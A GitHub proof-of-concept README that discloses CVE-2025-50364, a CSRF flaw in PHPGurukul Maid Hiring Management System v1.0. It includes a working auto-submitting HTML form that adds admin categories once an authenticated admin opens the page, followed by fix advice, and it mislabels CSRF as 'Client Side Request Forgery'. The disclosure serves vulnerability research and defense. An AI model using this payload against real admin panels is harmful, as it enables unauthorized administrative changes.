1h3ll/cve-2025-50364_csrf_add_category-phpgurukul-cveProof-of-concept CSRF exploit targeting CVE-2025-50364 in PHPGurukul Maid Hiring Management System v1.0 that adds arbitrary admin categories via a crafted HTML form.
Project Name & Repo URL: Maid Hiring Management System using PHP and MySQL
Vulnerability Type: Client Side Request Forgery
Affected Version(s): v1.0
💣Vulnerability Description: A Cross-Site Request Forgery (CSRF) vulnerability exists in the admin panel of PHPGurukul Hiring Management System, allowing an attacker to add arbitrary hiring categories by tricking an authenticated admin into visiting a malicious site. This can lead to data pollution and unauthorized admin-level changes.
👩💻Impact: Unauthorized category creation
🛜Proof-of-Concept (PoC)
1)There was a category add functionality where only authenticated admin can add category.
2)HTML code to send POST request to the endpoint /admin/add-category.php
CSRF-POC
<html>
<body>
<form action="http://127.0.0.1/mhms/admin/add-category.php" method="POST">
<input type="hidden" name="catname" value="CSRF-POC" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
3)Use the HTML code and craft a malicious URL.
4)After Admin clicks on the link, new category will be added.
Recommendation: Implement of CSRF tokens in admin forms, enforce SameSite cookies, and validate request origin to prevent unauthorized actions.